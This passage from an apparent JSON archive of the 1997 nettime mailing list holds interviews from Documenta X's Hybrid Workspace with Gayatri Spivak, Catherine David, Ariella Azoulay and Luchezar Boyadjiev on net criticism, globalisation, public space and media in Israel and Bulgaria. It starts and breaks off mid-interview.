intelligence.\nI think that's bogus. At the same time it can become exclusive, an\ninstrument of a certain narcissism, a simulacrum of reaching\nthe other, which is exactly a withdrawal of the responsibility.\nIn a much broader, political sense, it can be exclusivist because of\nthe stratification of the world. But that's another story. Like most\nanswers: what is poison is also medicine.\n\nGL: In what direction would you like to see this new genre of 'net\ncriticism' grow into? Is there something we could learn from literary\ncriticism?\n\nGS: I can only tell you what my notion of literary criticism is. The\nimagination is the possibility of real virtuality. The claims made for\nvirtual reality are sometimes, somewhat empiricised. The imagination is\nthe possibility of being somewhere that is not the Self. This is\nrelated to being human, as already being open to a connection with\nsomething other. That is what to be human is. Otherwise the infant\nwould not be able to invent his or her mother tongue. That is how the\ninfant begins, by creating a language which then the parent learns, as\nit were. Through that it develops into a language with a history. That\nis the synthesis with the absolutely Other which is monitored by the\nimagination. You could look at literature in this way, as a kind of\nmachine for the training into relating with the Other.\nI am not in the business of getting information from the South and then\ndoing research in the North. I teach Marx to Americans. And I do\npractical work in Bangladesh so that I can learn. I say to my American\nstudents, let us now imagine that there has been no history. Nothing has\nhappened, this text is about to be written. It is not that one denies\nhistory. We learn to learn from the singular and the unverifiable --\nthat is what the literary is. It is hard to describe because it is a doing\nthing. It sounds romantic if you talk about it. I believe that this\nliterary critical practice has connections with the notion of virtual\nreality, but I don't know what they are. You will have to think about it\nin your own way.\nI don't see the literary primarily as a field of expression. I see it as\na field of being impressed: 'gepraegt'. Perhaps that is one way of\nlooking at the Internet. If I ever got into developing net criticism, I\nthink I would probably be as eccentric as I am in the field of this\nliteracy stuff. Maybe you could pull me in and see what peculiar comes\nout of it.\n\nGL: For a country like India it seems of strategic importance to\nintroduce cyber-technologies. Do think that this has a priority over\nother infrastructure, like roads or electricity, or even over education\nor food?\n\nGS: I don't think that is a choice anymore. Here in Kassel I will talk\nabout a conference that took place in Toronto on June 25, called\n'Global Knowledge'. The actual agenda said that the so-called\ndeveloping countries should be given preferential treatment. It was all\nabout selling access to telecommunication-as-empowerment as such. There\nis this picture of a very tall and lovely African woman, in her cloth,\nwith a spear her right hand and a cellular telephone in her left. It is\nscary. Global telecommunications combined with actually women's 'micro\ncredit' is spelling out the importance of finance capital. In a\nsituation where financial capital turns over twenty-five times more\nthan world trade, states are undermined and the possibility of social\nre-distribution is being questioned, it is a luddite idea to think that\none can stop the world and that a developing state can chose whether to\nprefer electricity, food, roads, seeds, bio-diversity, or primary health.\nThis is not a choice because telecommunications are being sold as access\nto all of this. The idea of the Pax Electronica, coming from the Pax\nRomana, the Pax Brittanica and the Pax Americana is a very welcome notion\nwhen one is not aware of the worm in the rose. McLuhan was the avatar of\nthis Global Knowledge conference. Both McLuhan in his 'Global Village'\nand Lyotard in his 'The Postmodern Condition' suggest that with\ntelematic\nsocieties, what pre-writing societies used to have -- the oral\ncultures -- will come back. The first world will be able to access the\ninternal, unmediated richness of the oral culture. Not only go back, but\ngo forward. One of highlights of the Global Knowledge conference was a\nschool in Alaska for the Inuits, so far West that if you cross the\nwater you cross over to the East. That is the ultimate notion of the\nslogan 'Go West, Young Man'.  McLuhan said that today's Third World has\nlost touch with the holistic view, and in the telematic world we will go\nback this immediacy. Lyotard's example in 'The Postmodern Condition' is\nof the Gashiahoo Indian, the native Canadian American. There is certainly\nan allure here to the post-affluent, superannuated hippie -- the walking\nwounded from the sixties.\nI got news of this conference in Bangladesh, I was not in Toronto.\nWhat was striking was that the mailing from this conference has\nalready started. The so-called least developed nations are already\ngetting the letters. If we protesters take our time, we will have\nmissed the boat. It is no use vaulting the World Bank. The notion that\n'women are truly stepping forward to an unexamined notion of global\nfeminism through telecommunication' is very scary thing.\n\nGL: Could you tell us about the work you have been doing in Bangladesh,\nregarding the media situation and the question of access to\ntelecommunications?\n\nGS: I am not connected to an NGO, as the Documenta brochure says. I am\nnot connected to anyone. Since you can't work complete alone, I am\nfriendly with, tolerated by, a group that is an alternative development\npolicy research collective in Bangladesh. They are deliberately not an\nNGO, they pay taxes. In the current post-Soviet conjuncture we have to\nbe very critical about this new, rising NGO-culture. They call\nthemselves a consulting agency. They produce research that is not\ngovernment sponsored or NGO sponsored.\nNGO is not really a category. You can't define something simply by\nsaying that it is non-governmental. An organisation is content\nspecific, funding specific, structure and salary specific, who\nevaluates, what kind of advisers exist, etc. In India there is now a\nnew category called 'people's movement' which is neither a new social\nmovement, according to the European notion of the greens. Nor is it an\nNGO thing, to the extend that a people's movement must be a group whose\nwork will survive even if the funding is stopped. The critique of the\nNGO is that in the New World Order of economic restructuring, whereby\nbarriers between state economies and international capital are\none-by-one removed, you need something which can take over the 'economic\ncitizenship', as Saskia Sassen calls it, and this is done by the huge\nstructure of collaborative NGOs. This is called the 'international civil\nsociety'. In 1995, after the GATT was concluded, immediately the World\nTrade Organisation began making the GATT something that could be\nenforced. In this context, NGOs are not a useful group to work with as\nthey are too involved in the New World Order -- in terms of big players\nlike the World Bank, the International Monetary Fund and the World Trade\nOrganisation as the economic arm and, unfortunately, more and more, the\nUnited Nations as the political arm.\n\nGL: How does this group you work with look at global telecommunications\nand to whether access is important?\n\nGS: Yes, access is important. This group I work with brings out a\njournal in Bengali called 'Informatics'. They use the English word in\nBengali script. What they are interested in is strategy-driven, rather\nthan crisis-driven, access to telecommunications. Certainly not the idea\nthat simply access as such is empowerment. In the old days we used to\nsay that rights are an empty notion. You have to bind every freedom to\na content, so that in its binding a freedom is exercised, otherwise you\nonly have non-exercised guarantees. When they are exercised you\nhave riots and violence. They are trying to effect the charges that\nare being imposed, so that your idea of a public space becomes\nclass-fixed.\nThis is an up-hill battle, especially when the telecommunication will be\nsold 'for free'.\n\nGL: Could you tell us more about this group: who they are and what they\nare doing.\n\nGS: They are called, in English, Alternative Development Policy\nResearch. They focus on ecological agriculture on a large scale. One of\ntheir main projects is the struggle against pesticides, chemical\nfertilisers and bio-piracy. Bangladesh has 12,000 kinds of rice. As\nmonoculture is coming in, the farmers are having buy back their own\nseed. What they also do is the struggle against the international\npopulation control lobby. Not against family planning. Against\npharmaceutical dumping, coercive contraception, etc. These are the\nnegative uncertainties. They are part of the Third World Network and are\nconnected to the Asian Women's Human Rights Council. The development of\na notion of informatics fits into this.\nThey are also active on the cultural front. They are profoundly\nconnected to Bengali Sufi: a detheologized islamic-hindu combinations\non the ground, which is very different from either bourgeois secularism\nor virulent nationalism. This comes through their attachment to music.\nAlso they are involved in the reform and restoration of old\nArabic-Persian words in Bengali, which surpressed in the 19th\ncentury when Indian nationalism picked up Bengali and made it into\nsomething more Hindu.\nWhat I am interested in doing is learning to learn from below. I hang\nout with extremely deprived groups to see how their children should be\ntaught. I am with the children so that I can find ways of telling the\nteachers what to do. Now this is very slow work, one on one. I have\nbeen doing it for the last ten years. You can't do it by reading Paolo\nFreire. Each place is different and the teachers are full of good will,\nbut extremely ill-educated. I can't do this for long because the\nteachers, given the way in which they have developed, cannot believe\nthat the ideas that I am giving are any good at all. The workshops\ngiven by NGOs or the government are so different from what I say. If\nthey start obeying me, everything will be ruined.\nIf there is going to be democracy in the world, the largest sectors are\nthe rural poor in the South. And there is no other way of doing this.\nMore and more I feel that I don't want to give time and skill to the\nresource-rich. My teaching in the United States is no longer filled\nwith the kind of enthusiasm I had during the eighties. I tell my\nstudents that. On the other hand it is fieldwork for me, to study the\nignorance of the advanced student who wants to do good. I am of course\nseduced by the comfort and money there, and to have this money is\nuseful if one is as quixotic as I am in the other work that I do.\nWhat is also useful in the United States is New York. I love New York\nand this is a contradiction in my life. I am a real New Yorker.\n\n(edited by Linda Wallace)\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Sat, 26 Jul 1997 14:19:34 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707261219.OAA02744 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00093.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> interview with Gayatri Spivak"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00095",
                "content": "\nBandwidth in the Context of Contemporary Art\nAn Interview with Catherine David\nBy Marleen Stikker\n\nAt Hybrid Workspace, Documenta X, Kassel\nJuly 15, 1997\n\nhttp://www.documenta.de/workspace\nhttp://www.waag.org/bandwidth\n\nCatherine David is artistic director of Documenta X. Marleen Stikker is\nco-director of the Society for Old and New Media in Amsterdam.\n\nMarleen Stikker:  We have been doing quite a bit of research these last\ndays on the topic of bandwidth. Being here, it is nice to see that our\ntype of work fits very well into this Documenta. Lots of projects here\nseem to be works-in-progress, not so much finished, fixed art objects like\npaintings or sculptures. Is this particularly your taste or it is a\ngeneral development we all have to get used to?\n\nCD: If you look at the old articulations of the exibition, it is not so\nnew to be attentive to certain phenomena and to articulate this\nesthetically. On the other hand, it is the task of Documenta to be\nattentive to contempory developments. If I were asked to work for MoMa\nor Beaubourg, it would be a little different. Some people who are\ndeeply against the absence of what they used to identify as paintings\nand sculpture, are not very aware of the tradition of Documenta. Those\nartforms are existing as a phenomenology. I am still able to recognize\nwhat is a painting and what is a sculpture. But I am afraid that it is\nnot relevant if want to understand the cultural articulations of many\nartists to-day. This Documenta is in good timing with the moment. If we\nwant to consider the state of the world, to name things, before making\nfinal decisions, it is interesting to deal with what the world is like\nnow. Of course this speaking of the world, what you do here, is a\nposition, a priority.\n\nGlobalisation is not a dream thought, it is not a fashion, it is a\nreality. It is a collection of economic, political and cultural phenomena,\nwhich have certain positive and challenging aspects and other ones which\nare negative and dangerous. The whole idea of the Hybrid Workspace,\nconnected to the 100 days program, and sometimes in polemical relation\nto the exhibition, was to speak more openly about the world, and not to\nuse globalisation as an alibi.\n\nMS: I understood that Workspace was asked not to put artworks on the\nwalls. It was set up as a workspace, not as an exhibition space. Is\nthis an important distinction for you?\n\nCD: My position was clear, to have no art on the walls and not to use\nthe art alibi as an authorisation of the Workspace. I know some of my\ncollegues are not sharing this position. I don't care, because if you\nlook carefully at young artists' works, the radicallity stops\nwhen they are confined to an art space. The space is now articulating the\nnotion of information and discussion, in connection with contemporary\nresearch and positioning. I did not feel the necessicity to have\nartistic alibis on the walls. We have enough images, we have enough\ntext and information. It did not turn out as a the design showroom. But\nthe way the groups are now using the space speaks for the designer and\nthe understanding she had of the project.\n\nMS: We, at the Society for Old and New Media, work a lot with artists and\ndesigners. But we do not consider ourselves an art institute anymore.\nMany people have left the art discourse because they do not know how to\ncope with the art discussions. Would you like them to return? Should\nthe art discourse be reanimated?\n\nCD: It is up to you to decide if you are in or out. Most of the works\nin this Documenta are testifying in favor of an antropological approach of\nthe world. It is not necessary to be anti Beaux Arts. The Beaux Arts\ncorresponded to a specific historical moment. Many of the artists have\nbeen preoccupied by a radical critique of hierarchies and specific\nconnoisseurs of competence. If people are so preoccupied by making a\nstrict definition between art and non-art, one answer could be a\nsentence by Fahlstroem, probably thirty years ago, \"When Tosca is\ndying, it is not on stage.\" We are very busy making critical\ndistinctions. I am surprised that people are not a bit more attentive\nand faithfull to the tradition of Documenta, which had never been to be\nan art fair or a consensus hall space, where anything goes.\n\nMS: Never before (at a Documenta) have there been so many different forms\nof presentations: lectures, films, video, radio, internet and here, the\nHybrid Workspace. Yet at the same time you are having a clash with the\nmedia. Some have made very personal, violent attacks against you.\n\nCD: People are disappointed, they do not have the usual eagerness. It is\ndifficult to think for themselves, to consider phenomenas with their\nown tools. We have never worked with media, to answer your question.\nIt is stupid to see new media as the devil or as the panacee which will\nsolve all problems. In this Documenta, we did not privilege at all the\n'exhibitionism' of media. We do have heavy-duty techno-logistics, but that\nis not the first thing you see in the show. The question is not new. We\ncould go back to the historical debate about photography, around the\nturn of the 20th century. One could mention Walker Evans or Rossellini,\nwho did a lot for the reinvention of the human body, as much, or even\nmore than many painters. Or Jean-Luc Godard, or 'Level Five' by Chris\nMarker. This film is all about computers, human memory, and it is one of\nthe most powerfull contemporary works on the notion of crime, the crime of\nOkinawa.\n\nMS: In the Documenta-Halle, the 'Kino', the works of some Net-\nartists are presented. Normally, this work is viewed within\na Net-context, but here they are presented of-line. So they have\nbecome frozen artworks. Has this been done on purpose, in order to stop\nvisitors surfing, reading their e-mail, or looking at Playboy? You\nwanted them to stick to the context of Documenta. But some of these\nartworks are indeed organisms, which are functioning best within\ntheir 'natural' environment, the Internet. This type of communication art \nis not ready yet?\n\nCD: First, this was the decision of the curator, Simon Lamuniere, to\nhave frozen screens, and not to have people using the computers as\ntelephones. This was an esthetic and also an economic decision.\nSecondly, there is also a problem with artists working with the Net: why\nare they so easily restituting the museum and the object imitation in\nsuch a mobile medium? The most complex and challenging work on the Net,\nand the only one which is not frozen, is the 'Equator Project' by\nPhilip Pocock and others.\n\nMS: The Bandwidth-project here is trying to make power structures\nvisible which are invisible to most of us. Saskia Sassen spoke in\nher lecture about the privatization of public space. There is no\naccountability anymore. Do you see the public space being more and more\nendangered?\n\nCD: The bandwidth problem is one example of this global phenomenon of\nthe privatization of public space. I can't come up with a solution. Yet I\nam not too anxious. Maybe, the figures shown here about the economic\npower behind all this are surprising to many people, especially here in\nGermany, where one is so used to the Habermas distinction between\nthe public and private space. But it is no longer helpful to extend to the\noutside the bourgeois distinction between the pubic, which is salon,\nand the private , being the bedroom. People are surprised if you\ntell them that the atrium of a bank or a shopping mall is privatized\npublic space, occupied by private police. The same hols true for a street\nfull of advertisements: it is not a public space anymore. You can discuss\nthis space, being invaded, both ideologically and physically, which is\nbecoming invisible also, dealing with virtual qualities. This is what\nmakes the art of the seventies problematic, because it was done by people \nwho believed that because they were acting outside of the museum walls\nthey were automatically critical, succesfull or efficient.\n\nMS: The sphere of the private, the livingroom and the bedroom, is now\nalso being invaded by home shopping channels. Your home is becoming one\nbig push button, saying 'Buy!'. This is the cyber-orgasm of people who\nare now putting money into these new technologies. So even your home\nwill not be private anymore.\n\nCD: Yes, but people are developing ways of protection, barriers against\nthis. At the same time you can discuss what kind of public space the big\nAmerican museums are, since they are completely controlled by trustees.\nWhat kind of  public space is this? Who is deciding about the collection,\netc? This is one of the most complex phenomena at the end of this century,\nthis permanent renegociation of private and public space. Related to this,\nare many recent, social phenomena where people are creating new forms of\nintimacy, sometimes under severe circumstances of deprivation.\n\nMS: New technologies also give people the possibility to become\nbroadcasters themselves. Artists also want to be producers and \ndistributors themselves, and not be dependent anymore on the 'sacred' art\ninstitutions. We here demand more bandwidth, but what effect will this\nhave on the art industry?\n\nCD: The art scene is full of symbolical and imaginary order. And I am\nafraid that the fetish is a very strong component of this scene. The\ndisappearance of galleries and museum will not happen overnight. I am\nnot so mechanistic, but I do believe that a more open and accelerated\ncirculation of information and activities could diminish the priviliged\nplace of certain institutions. Again, this is not new. Works from the\nsixties and seventies have this dimension of the activity, the\ndevelopment of a process, which has been, at the best frozen, at \nworse completely erased by a certain way of presentation. The\nreproduction/registration of these works are sometimes more\nunderstandable, more accessible in the form of tapes and pictures.\nWith the development of the culture industry, it became more and more\nobvious that the museums became places of cultural consumerism, without\nquality, quality in the meaning of Robert Musil. Without the power of\nimposing a specific quality. As an alternative, the phenomenology of the\nplace could answer the phenomenology of the work. This is much more\nchallenging then going on building boxes again. Museums today tend to\nbecome a space of order and power at the very moment all this is\nvanishing. As far as I know, a museum means a permanent space which is\nhosting a collection which has been put together by a group of persons\naccording to a set of rules. You now have many places which are called\nmuseums, but where nothing is permanent. The building was so expensive\nthat there was no money left for the collection.\n\nWe should perhaps going back to the first idea of the museum, the one\nin Alexandria, which was well known as a meeting place of the Muses. I am\nafraid we do not have Muses anymore, but the concept of the museum as a\nmeeting place, which is a little distant from the immediate resolutions,\nwhich is for me the definition of a critical space, could be, again, a\nvery interesting possibility.\n\nMS: A last question: would you like to have more bandwidth yourself?\n\nCD: Is it very important to have more bandwidth, but we should also\nthink of alternatives, of ituations where there are no computers at all.\nTo take a step back, and asking also for more \"bare feet-technology\". And\nagain, not being mechanistic. Access might be a human right, but we\nshould also be able to articulate the dialectics of those without\naccess.\n\n(transcribed and edited by Geert Lovink and Patrice Riemens)\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Sun, 27 Jul 1997 14:40:09 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707271240.OAA00778 {AT} xs1.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00095.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> interview with catherine david by marleen stikker"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00099",
                "content": "\nJeruzalem, the Internet and 'other spaces'\nAn interview with Ariella Azoulay\nBy Geert Lovink\n\nOutside Hybrid Workspace, Documenta X, Kassel\nJuly 23, 1997\n\nAriella Azoulay is the director of the Program for Curatorial and\nCritical Studies at the Camera Obscura School in Tel Aviv and studies\nin Paris. For many years she was director of the Bograshov art space in\nTel Aviv. Her article \"Clean Hands\" appeared in the documents 3\npublication. In her 100 days lecture, Ariella Azoulay spoke about\nJerusalem and the multipicity of spaces in this city. She also showed the\nwork of the two Israeli artists Aya and Gal who now have a website\nwhere they present their work being shown at Documenta X.\nYou can see and haer the 100 days lecture of Ariella Azoulay at:\nhttp://www.mediaweb-tv.de/dx/0721/gaeste_frame_e.html\n\n\nGeert Lovink: In your 100 days lecture you mentioned Foucault's\nconcept of the 'other space'. You related this to virtual spaces.\nOn the other hand you spoke about a very real space: Jerusalem. Has\nthis 'other' space an in-between character or is it indeed different?\n\nAriella Azoulay: I wanted to ridicule this concept. Foucault used\nthis term for the first time in the sixties, in a lecture he gave to\narchitects. He referred to specific types of spaces -- prisons, schools,\netc. He wanted to describe spaces which exist within the social space,\nbut which have another logic. The way you enter is different, there is control\nover the borderlines, control by subjects, by people. I think Foucault\nmissed something here; maybe he could not think of it. I am using\nthe hand as a main framework and perspective to analyse activities\nwithin spaces. The hand is an accessory which permits one to go in, and\ndisconnect from spaces and objects. When I am speaking of the hand as a\nslave of two masters, I am putting the subject and the space in\nrelation to allow navigation between spaces, objects and people. In\nthis way, I am deconstructing the subject as a metaphysical entity. As\nI am speaking about space, everything can become 'heterotopia'. The\nsubject is also a part of other spaces. Sometimes my hand is part of\nthis space, sometimes it is in the (virtual) other space. We\ncannot create clear demarcations. We are, in fact, speaking of a\nnetwork of relations which permits the interference between objects,\nsubjects and spaces.\n\nGL: In opposition to your view is the idea that cyberspace is a utopia,\na dislocated environment one emigrate to and have multiple, fluid\nidentities. Disconnected from the body, the pure spirit can reside\nthere, forever. In your model there are many more layers and you switch\nfrom the one to next.\n\nAA: The fantasies of the cyber ideologues are exactly what I am trying\nto escape from. In my view there are no parallel worlds. I am all the\ntime in-between these worlds. In our postmodern reality we are\nconstantly in-between. But we have so much ideology that\npretends we can choose: to be in this or that world. It is the\nideology of either-or. In reality or in cyberspace. Do I want to be a\nconsistent subject with a history and biography or do I want to invent\nmyself all the time? I cannot be both. We are compelled to make\nchoices, to affirm our subjectivity. I try to escape this. For me, the\nchoice is in the navigation through multiple spaces and moments.\n\nGL: For the virtual class and its digital artisans, the conflict\nbetween Israel and the Palestinians seems so ancient and anachronistic.\nThe fight over such a small piece of land -- and geography in general --\nseems so futile, so atavistic. I am not so sure if this is the right\nview on things. But there is some truth in it. The future frontiers in\ncyberspace and the conflicts over land seem so distant from each other.\n\nAA: It is a very delicate question. You should behave in a prudent\nway. I must be very careful not to play into the hands of the\ngovernment by saying that land is not important. If not, then why\nshould we give the Palestinians the land? If national identity is not\nimportant, why then should we recognize the Palestinians as a national\nsubject? I find myself obliged to be in favour of national identity\nbecause this might be the only way to stop the occupation. But of course\nI cannot believe in it.\n\nGL: It is said that the gap within Israeli society is growing\nbetween those who live in very modern circumstances and others\nwho pretend to live out of the present, in some imaginary, religious\ntime frame.\n\nAA: Most Israelis are living under postmodern conditions. They are\ncompletely intertwined in the Western networks of globalization. At\nthe same time, many of them want to impose an ideology which is in\nconflict with their own daily practice. They are selling arms to\nMicronesia. The moment you pick up the phone, you are living two\nidentities. You are here and your voice is there. Your identity is not\none entity. When it comes to history and national identity, they want to\nimpose one story and erase the different, other spaces in order to\nhomogenize the story. Today we are facing the conflict between the\nheterogeneous spaces and practices in which we are living, all of us,\nand the desire for the one homogeneous space and identity.\n\nGL: In your lecture, you urged us to look at the present of the city of\nJerusalem. Only then might we get away from the homogenoeus claims of\nthose who are either captured in the past or those who are feverishly\npreparing for the Messiah who might arrive tomorrow.\n\nAA: What is paradoxical here is that while I am speaking in favour of\n'other spaces', it seems like I am utopian. But the heterogeneous\nspaces are present; a great variety of relationships exists, even between\nIsraelis and Palestinians. It is impossible to speak about variety. We\nhave to describe everything within this big paradigm of the conflict.\nThe 3000 years of the existence of the Israeli presence in Jerusalem and\nthe many centuries of Islam presence are metaphysical subjects. Beyond\nthe concrete world. But since the Enlightenment, the French Revolution\nand the birth of national identity, we are living under the regime of\nthe subject. The subject is a metaphysical entity which does not live\nin the present. When I see people on the street, I do not see subjects.\nBut we are all the time called to affirm ourselves as subjects who know to\nchoose, as if we were outside of the world. Subjectivity is what prevents\nus from seeing our presence in the present. We do not have any\nauthorship of our actions. We are acting on the world and we are being\nacted upon by the world. All the time you are trying to observe where\nthere is an 'ouverture', in order to multiply the space where you are\nliving in, not to reaffirm the one space of your subjectivity which is\nbeyond the world.\n\nGL: What is the role of the Internet in all this? Has the hype arrived\nin Israel?\n\nAA: I have no statistics. There is more and more interest. I know some\nartists who are working with the Net, like Aya and Gal. There is a\nmagazine now called 'Captain Internet'. In the art world it did not\narrive in a big way. The hegemonic Israeli art is painting. For me it\nis interesting to see how this CD-ROM installation of Aya and Gal is\nlooked upon here in Kassel. It was conceived as a driving tour around the\nYMCA-Tower in Jerusalem. Their 'other space' is now transplanted into\nthe space of Europe, of globalization, spaces evoked very loudly in\nthe Documenta. The passage of the work from Jerusalem to Kassel only\nunderlines the impossibility of the one point of view, which is the\nview from above, from the outside.\n\n(edited by David Hudson)\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Mon, 28 Jul 1997 15:03:16 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707281303.PAA05590 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00099.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> interview with ariella azoulay"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00107",
                "content": "\nHow to turn your liability into an asset\nContemporary art and the political and economic crisis in Bulgaria\nAn Interview with Luchezar Boyadjiev\nBy Geert Lovink\n\nHybrid Workspace, Documenta X, Kassel\nJune 20, 1997\n\nLuchezar Boyadjiev (Sofia, 1957) is working currently as an artist. His\nbackground is studies in art history and theory, pursued both in Bulgaria\nand the United States. Recently he had shows at the 4th Istanbul Biennial,\nChicago (Beyond Belief in the Museum of Contemporary Art), Liverpool (at\nLEAF 97), in Koeln and Berlin, and the anual exhibition of the Soros\nFoundation in Plovdiv.\n\nGeert Lovink:  Could you explain us the current situation in Bulgaria from\nyour point of view?  - For a long time, the Bulgarian communists have\nstayed in power, after having changed their faces. Recently, a lot has\nhappened in South-East Europe... the demonstrations in Serbia, the first\nnon-communist government in Romania, anarchy in Albania... What is the\nreason of the apparently unique position of Bulgaria?\n\nLuchezar Boyadjiev:  The more time passes after 1989, the more differences\nthere are between each country in Eastern Europe. In the past, Bulgaria\nhad a privileged position, in terms of being one of the closest allies of\nthe Soviet Union. The country enjoyed an almost free supply of raw\nmaterials, crude oil, electricity. An utopian situation, having no\nworry about how to produce and make a living for its citizens. Now, it\nlooks as if time has stopped after 1989. We realized this only recently.\nOn the surface, a democratic reform took place. A free-market economy was\nintroduced, of which I am not a fan, but which seemed to be the only way\nout of the deadlock. As it turned out, there is no capitalism, so\nconsequently, there is no opposition to capitalism. This applies also to\nthe social situation. A redistribution of the old money of the regime is\nnow taking place among its loyal followers who are now top bankers or\nmafia leaders. This is not capitalism, it is Monte-Carlo money. Easy\ncome, easy go, no re-investments. In the 1994-1996 period there was a\nfull-fledged socialist government in power which had no agenda\nwhatshowever. It supported the infrastructure of the organized crime. At\nthe end of 1996 there was a severe banking crisis. This government was\nsticking to the state owned property, lending money to non-productive\nsectors in order to hold down the social unrest. The result was hyper-\ninflation, each day new rates were issued, five or ten times higher than\nthe day before, a situation other countries had been through five or six\nyears ago.\nThis situation resulted in a lot of street unrest in January and\nFebruary, which started with people breaking into the parliament.\n\nGL: It has been said that the protests in Sofia were inspired by those in\nBelgrade. Through the television images one got the impression of a large,\ndiverse and creative movement.\n\nLB: The situation in Belgrade was totally different because in Serbia\nthere were legitimate elections and the results were simply not\nrecognized by the governing power. In Bulgaria there were no elections.\nPeople went out on the streets simply because they could not take it\nany longer. Given the quality of life, if I can permit this expression,\nyou can either fuck or eat. You can not at the same time buy condoms and\nmeat.\nIn those weeks there was a great feeling of unity on the streets. It\nturned out that there was a new generation of students. Unlike the 89\ngeneration, the new students are not leaving the country. They want\nto stay, work and have a decent life. They are fully aware that no matter\nwho comes to power, they will be corrupt. Like Jenny Holzer's slogan:\n'Abuse of power comes as no surprise'. These students will go on strike\nagain. As of July 1st Bulgaria will have lost its independance. It will be\nput under the control of the International Monetairy Fund. We are going to\nhave a currency board and the Leva will be tied to the German mark. It is\ngoing to be hard. But ironically, it is a way of having a tangible feeling\nthat somehow there is a relation to the world. All East-European\ncountries want to become part of NATO or the European Community, or of \nboth. No one is inviting Bulgaria, yet we are still discussing the\npossibility to join in.\nThere is this utopian feeling that all things will change overnight and\neverything will be allright. So there are illogical emotions towards\nWestern Europe and towards the rudimentary remains from the distant\npast, like the former monarch, who showed up in Sofia a year ago, with\nhuge masses on the street, simply crying on the streets. But he never\nreturned - clever guy.\n\nGL: The media situation in Bulgaria seems to be mixed: lots of radio\nstations, software piracy, loosening control of the State over television,\nsome Soros publishing activities, combined with a considirable amount of\nchaos. Is this correct?\n\nLB: Absolutely. After 89 the student TV-programme Kuckkuck made a perfect\nsimulation of a news announcement concerning a nuclear acident on the\nDanube river. It was so convinving that people behaved just like after\nTchernobyl. This programme was immediately stopped. The state channels\nbecame more and more commercialized. The few private channels are also not\nof much help either. The only usefull media are some private, independant\nradio stations.\nRecently, there was a report in Nettime about software piracy in\nBulgaria. Of all the Comecon-countries (the former Sovjet equivalent of\nthe EC), Bulgaria was allocated the task to do develop computers. Funny\nenough a factory for hardware was built in the village of our former\ndictator, just to show how progressive he was. The computers they produced\nwere not of high quality.But there were a lot well educated programmers,\nwhich were not allowed to work on their own programs. Industrial espionage\nwas heavily encouraged and the Bulgarian spies were given the task to get\nhold of software. That led to programmers not working on their own\nprograms but breaking into other people's programs. As a sort of revenge\nthey created a lot of computer viruses. Some of those are still around.\nThat tradition continues: a group of youngsters in the Black Sea city of\nVarna was arrested recently. They managed to steal the codes from credit\ncards of tourists. They used these cards to order computer parts through\nthe internet in the United States. They were so confident that they gave\ntheir own home addresses for the parts to be delivered. Till somebody got\na Christmas card from a company he did not know at all, thanking its best\ncustomers. That's how it was traced back.\n\nGL: What the current influence of computers and new media on the arts and\nculture?\n\nLB: It is growing. Recently, three media labs opened in Sofia. In the past\nit was stagnating. Now this is, again, a substitute for a physical\nreality. When you have a deficiency of the physical reality, you have some\nhopes that in the virtual reality you may find some compensations. For\nexample, in Bulgaria there is no museum of contemporary art, for the good\nor the bad. One could make probably make a virtual museum and appropriate\nsome existing space, make a CD-ROM, a website somewhere. Almost like a\ncomputer game. Video is also compensating for the lack of possibilities.\nIt is a symptom of crisis and of a utopian hope.\n\nGL: Now that the production is almost at ground zero and the country is\nbankrupt, virtuality seems the only solution. Is this what you are saying?\nAnd what is the role of the artist in all this?\n\nLB: Everything that could be sold is being sold and this is the only way\nto make fresh cash, as they say. Bulgarians have this survival capability,\nwhich is very high. The absurdity is taking place on many levels, not only\nin the media, the economy or the social situation.\nConcerning art, in the past in Bulgaria there was no dissident movement.\nThe regime found flexible ways of  accomodating deviations in the sphere\nof art. Non-conventional art started in the mid-eighties. It was not\nunderground by any definition. You cannot really say that it is backward.\nIn any case, there are not more than 25 to 30 people working in the field\nof contemporary art. Then comes in the Soros Foundation and its Centers\nfor Contemporary Art. When the Center in Sofia was about to be opened, in\nearly 1994, the Soros Foundation itself had changed. George Soros had\ngiven more authority to the local branches. The Sofia Center is an outcome\nof this bigger power of the local branch. It was established by the local\noffice, not by the international network, Suzy Meszoly and the\nheadquarters in New York. The good thing is that it has more programs,\nrelated to theatre, music, literature, not only visual arts. The bad thing\nis that it was quite provincial. It took them four years to make more\nrelevant exibitions. Bulgarian art is always first and foremost\ncontent-oriented art. It does not really matter what the medium is. The\nmessage is one of absurdity. How to turn a liability into an asset. The\nbest Bulgarian art deals with this aspect. A liability in terms of\ninferiority, identity or provincial complexes, is turned into a bombastic\nstatement or one sort or another.\n\nGL: How did the artists you know responded to the current economic and\npolitical crisis?\n\nThey responded in a very direct way. 